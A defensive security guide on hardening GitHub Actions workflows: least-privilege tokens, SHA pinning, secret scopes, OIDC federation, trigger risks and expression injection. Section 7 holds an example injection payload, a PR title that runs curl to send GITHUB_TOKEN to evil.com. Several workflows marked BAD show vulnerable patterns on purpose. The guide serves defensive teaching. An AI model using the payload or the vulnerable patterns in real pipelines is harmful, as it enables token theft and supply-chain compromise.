1. Permissions — Principle of Least Privilege
The single highest-impact change you can make to any GitHub Actions workflow is locking down permissions. By default, GITHUB_TOKEN has read and write access to most scopes. Override that immediately.
Default Read-Only Permissions (Top-Level)
Place this at the top of every workflow file to make read-only the default for all jobs:
# .github/workflows/ci.yml
name: CI
on: [push, pull_request]
permissions: read-all
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
Empty Permissions (Zero Access)
For jobs that never touch GitHub APIs or the repo, drop all permissions entirely:
jobs:
lint:
runs-on: ubuntu-latest
permissions: {}
steps:
- uses: actions/checkout@v4
- run: npm run lint
Why this works: actions/checkout uses the token for private repos but falls back to anonymous clone for public ones. If your repo is public, permissions: {} is safe for checkout.
Per-Job Permission Recipes
Grant only what each job needs:
# Checkout only (private repo)
jobs:
test:
permissions:
contents: read
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Deploy to GitHub Pages
jobs:
deploy-pages:
permissions:
pages: write
id-token: write
runs-on: ubuntu-latest
# Push to GitHub Container Registry (GHCR)
jobs:
push-image:
permissions:
contents: read
packages: write
runs-on: ubuntu-latest
# Create a GitHub Release
jobs:
release:
permissions:
contents: write
runs-on: ubuntu-latest
# Comment on a Pull Request
jobs:
comment:
permissions:
pull-requests: write
runs-on: ubuntu-latest
Rule of thumb: Start with permissions: {} and add scopes one at a time until the job passes. Never leave the default read-write in place.
2. Action Pinning — Stop Using Tags
Tags like @v4 are mutable. An attacker who compromises a popular action can move the tag to a malicious commit. Pin every third-party action to a full SHA.
Pinned vs. Unpinned
# DANGEROUS — tag can be moved to any commit
- uses: actions/checkout@v4
# SAFE — immutable commit reference
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
The trailing comment preserves readability while the SHA locks the exact code you audit.
Finding the SHA for Any Action
# Get the full SHA for a specific tag
git ls-remote --tags https://github.com/actions/checkout.git v4.1.1
# Or use the GitHub API
gh api repos/actions/checkout/git/ref/tags/v4.1.1 --jq '.object.sha'
Automate Updates with Dependabot
Pinning by SHA doesn’t mean you stop updating. Let Dependabot propose version bumps automatically:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: github-actions
directory: "/"
schedule:
interval: weekly
commit-message:
prefix: "ci"
reviewers:
- "your-org/security-team"
labels:
- "dependencies"
- "ci"
Dependabot understands SHA pins. It will update the SHA and the comment tag in one PR.
3. Secrets Management
GitHub offers three secret scopes. Choose the right one to minimize blast radius.
Secret Scopes Comparison
| Scope | Visibility | Best For |
|---|---|---|
| Repository | All workflows in one repo | Repo-specific API keys, tokens |
| Environment | Jobs targeting that environment only | Production credentials, deploy keys |
| Organization | Selected repos across the org | Shared service accounts, registry creds |
Environment Protection Rules
Environments let you gate deployments behind approvals, wait timers, and branch restrictions:
jobs:
deploy-production:
runs-on: ubuntu-latest
environment:
name: production
url: https://app.example.com
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Deploy
run: ./deploy.sh
env:
DEPLOY_KEY: ${{ secrets.PRODUCTION_DEPLOY_KEY }}
Then configure the production environment in Settings → Environments with:
- Required reviewers (at least 1)
- Wait timer (e.g., 5 minutes)
- Deployment branch restriction:
mainonly
The pull_request vs pull_request_target Danger Zone
This is one of the most dangerous misunderstandings in GitHub Actions:
| Trigger | Code checked out | Secrets available? | Risk |
|---|---|---|---|
pull_request |
PR merge commit | No (forks) | Low |
pull_request_target |
Base branch | Yes | Critical if you checkout PR code |
Never do this:
# CRITICAL VULNERABILITY — secrets exposed to fork PR code
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Checks out UNTRUSTED fork code
- run: ./build.sh # Runs attacker-controlled code WITH secrets
If you need pull_request_target, never check out the PR head. Only use it for labeling or commenting on the base branch code.
4. OIDC / Workload Identity Federation
Stop storing long-lived cloud credentials as secrets. Use OpenID Connect to get short-lived tokens directly from your cloud provider.
Required permissions block for all OIDC workflows:
permissions:
id-token: write # Required to request the OIDC JWT
contents: read # Required for actions/checkout
AWS — Configure OIDC
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
aws-region: us-east-1
AWS Trust Policy Template:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:your-org/your-repo:ref:refs/heads/main"
}
}
}
]
}
GCP — Workload Identity Federation
- name: Authenticate to Google Cloud
uses: google-github-actions/auth@55bd8e7c523b4b80c1b4b5e492ffb613a15f2591 # v2.1.3
with:
workload_identity_provider: projects/123456/locations/global/workloadIdentityPools/github/providers/github
service_account: github-actions@my-project.iam.gserviceaccount.com
Azure — Federated Credentials
- name: Azure Login
uses: azure/login@6c251865b4e6290e7b78be643ea2d005bc51f69a # v2.1.1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
Key benefit: No static credentials stored anywhere. Tokens expire in minutes. The trust policy restricts which repos, branches, and environments can assume the role.
5. Workflow Triggers — Safe vs. Dangerous
Not all triggers are created equal. Some execute code from untrusted sources or grant elevated permissions.
Trigger Safety Table
| Trigger | Risk Level | Notes |
|---|---|---|
push |
Low | Only runs code already merged |
pull_request |
Low | No secrets for forks |
schedule |
Low | Runs on default branch |
workflow_dispatch |
Medium | Manual trigger — validate inputs |
pull_request_target |
High | Secrets available — see Section 3 |
issue_comment |
High | Any commenter can trigger — gate with permissions checks |
workflow_run |
High | Inherits elevated context from triggering workflow |
Branch and Path Filtering
Reduce unnecessary runs and limit exposure:
on:
push:
branches:
- main
- 'releases/**'
paths:
- 'src/**'
- 'package.json'
paths-ignore:
- 'docs/**'
- '*.md'
Concurrency Control
Prevent multiple deployments from racing each other:
concurrency:
group: deploy-${{ github.ref }}
cancel-in-progress: false # Don't cancel in-flight deploys
# For PR builds where canceling old runs is safe:
concurrency:
group: ci-${{ github.event.pull_request.number || github.sha }}
cancel-in-progress: true
6. Third-Party Action Safety
Every uses: line in your workflow is a supply chain dependency. Treat it like any other dependency.
Audit Checklist
Before adopting any third-party action, verify:
- Publisher: Is it from a verified creator or a known org (e.g.,
actions/*,aws-actions/*)? - Source code: Have you read the
action.ymland entrypoint script? - Permissions: Does it request more than it needs?
- Stars / usage: Low-usage actions are higher risk.
- Maintenance: When was the last commit? Are issues addressed?
- Dependencies: Does it pull in a massive
node_modulestree?
Fork Critical Actions
For actions that run in sensitive pipelines, fork them into your org:
# Instead of:
- uses: some-random-org/deploy-action@v2
# Fork and pin:
- uses: your-org/deploy-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
Set up a scheduled workflow to sync your fork and review diffs before merging upstream changes.
CODEOWNERS for Workflow Files
Require security team review for any workflow changes:
# .github/CODEOWNERS
.github/workflows/ @your-org/security-team
.github/actions/ @your-org/security-team
Combine with branch protection rules requiring CODEOWNERS approval to make this enforceable.
7. Expression Injection Prevention
GitHub Actions expressions (${{ }}) are template-expanded before the shell sees them. If an attacker controls the value, they control your shell.
The Dangerous Pattern
# VULNERABLE — attacker controls the PR title
- name: Echo PR title
run: echo "PR: ${{ github.event.pull_request.title }}"
A malicious PR title like Fix"; curl http://evil.com/steal?token=$GITHUB_TOKEN # breaks out of the echo and exfiltrates your token.
Dangerous contexts that accept user input:
github.event.pull_request.titlegithub.event.pull_request.bodygithub.event.issue.titlegithub.event.issue.bodygithub.event.comment.bodygithub.event.review.bodygithub.event.head_commit.messagegithub.head_ref(branch name from forks)
The Safe Alternative — Environment Variables
# SAFE — value is passed as an environment variable, not injected into the script
- name: Echo PR title
run: echo "PR: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
When the value flows through an environment variable, the shell treats it as data, not code. This is the fix for every expression injection.
Safe Use in Conditionals
Expressions in if: conditions are safe because they are evaluated by the Actions runtime, not the shell:
# SAFE — evaluated by Actions runtime, not shell
- name: Check label
if: contains(github.event.pull_request.labels.*.name, 'deploy')
run: echo "Deploy label found"
8. Common Mistakes — Top 5 With Fixes
Mistake 1: Default (Over-Permissive) Token Permissions
# BAD — implicit read-write on everything
on: push
jobs:
build:
runs-on: ubuntu-latest
steps: ...
# FIXED — explicit read-only default
on: push
permissions: read-all
jobs:
build:
runs-on: ubuntu-latest
steps: ...
Mistake 2: Using Mutable Tags for Actions
# BAD
- uses: actions/setup-node@v4
# FIXED
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
Mistake 3: Long-Lived Cloud Credentials as Secrets
# BAD — static AWS keys that never expire
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
# FIXED — OIDC federation, no stored credentials
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
aws-region: us-east-1
Mistake 4: Checking Out PR Code in pull_request_target
# BAD — runs untrusted code with secrets
on: pull_request_target
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: make build
# FIXED — use pull_request trigger (no secrets for forks)
on: pull_request
steps:
- uses: actions/checkout@v4
- run: make build
Mistake 5: Expression Injection via run:
# BAD — direct interpolation of user input
- run: echo "Issue: ${{ github.event.issue.title }}"
# FIXED — pass through environment variable
- run: echo "Issue: $ISSUE_TITLE"
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
Quick Reference Card
| Practice | One-Liner |
|---|---|
| Default permissions | permissions: read-all at workflow top |
| Pin actions | Use full 40-char SHA + comment tag |
| Auto-update pins | Dependabot with github-actions ecosystem |
| Cloud auth | OIDC federation, never static keys |
| Protect secrets | Environment scopes + protection rules |
| Prevent injection | Always use env: for user-controlled values |
| Review workflows | CODEOWNERS on .github/workflows/ |
| Fork risky triggers | Avoid pull_request_target + checkout |
Applying even half of these practices puts your CI/CD pipeline ahead of most organizations. Start with permissions and pinning — they take five minutes and eliminate entire classes of supply chain attacks. Then work through OIDC federation and expression injection prevention to close the remaining gaps.
For hands-on practice, explore our CI/CD Security labs and GitHub Actions guides to see these patterns applied in real-world scenarios.